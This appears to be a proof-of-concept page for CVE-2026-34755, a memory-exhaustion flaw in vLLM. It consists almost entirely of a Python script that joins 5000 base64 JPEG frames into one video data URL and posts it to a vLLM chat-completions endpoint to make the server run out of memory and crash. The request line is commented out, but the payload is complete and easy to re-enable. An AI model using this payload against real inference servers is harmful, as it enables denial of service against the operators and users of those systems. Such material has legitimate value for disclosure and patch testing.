CVE-2026-34755 vLLM内存耗尽漏洞

import base64 import requests # Minimal valid JPEG base64 string (1x1 pixel) # This represents a single frame jpeg_header = "/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAP//////////////////////////////////////wgALCAABAAEBAREA/8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAgBAQABPxA=" # Construct a malicious payload with 5000 frames # The vulnerability splits by comma, so we join many frames with commas num_frames = 5000 malicious_base64_payload = ",".join([jpeg_header] * num_frames) # Create the data URL format expected by the vulnerable endpoint data_url = f"data:video/jpeg;base64,{malicious_base64_payload}" # Target vLLM API endpoint (example) url = "http://localhost:8000/v1/chat/completions" # Construct the request payload payload = { "model": "llm-model", "messages": [ { "role": "user", "content": [ {"type": "text", "text": "Analyze this video"}, {"type": "image_url", "image_url": {"url": data_url}} ] } ] } # Send the malicious request # This should cause the server to run out of memory and crash try: # response = requests.post(url, json=payload, timeout=10) # print(f"Response Status: {response.status_code}") print(f"Sending payload with {num_frames} frames to trigger OOM...") except Exception as e: print(f"Exception occurred: {e}")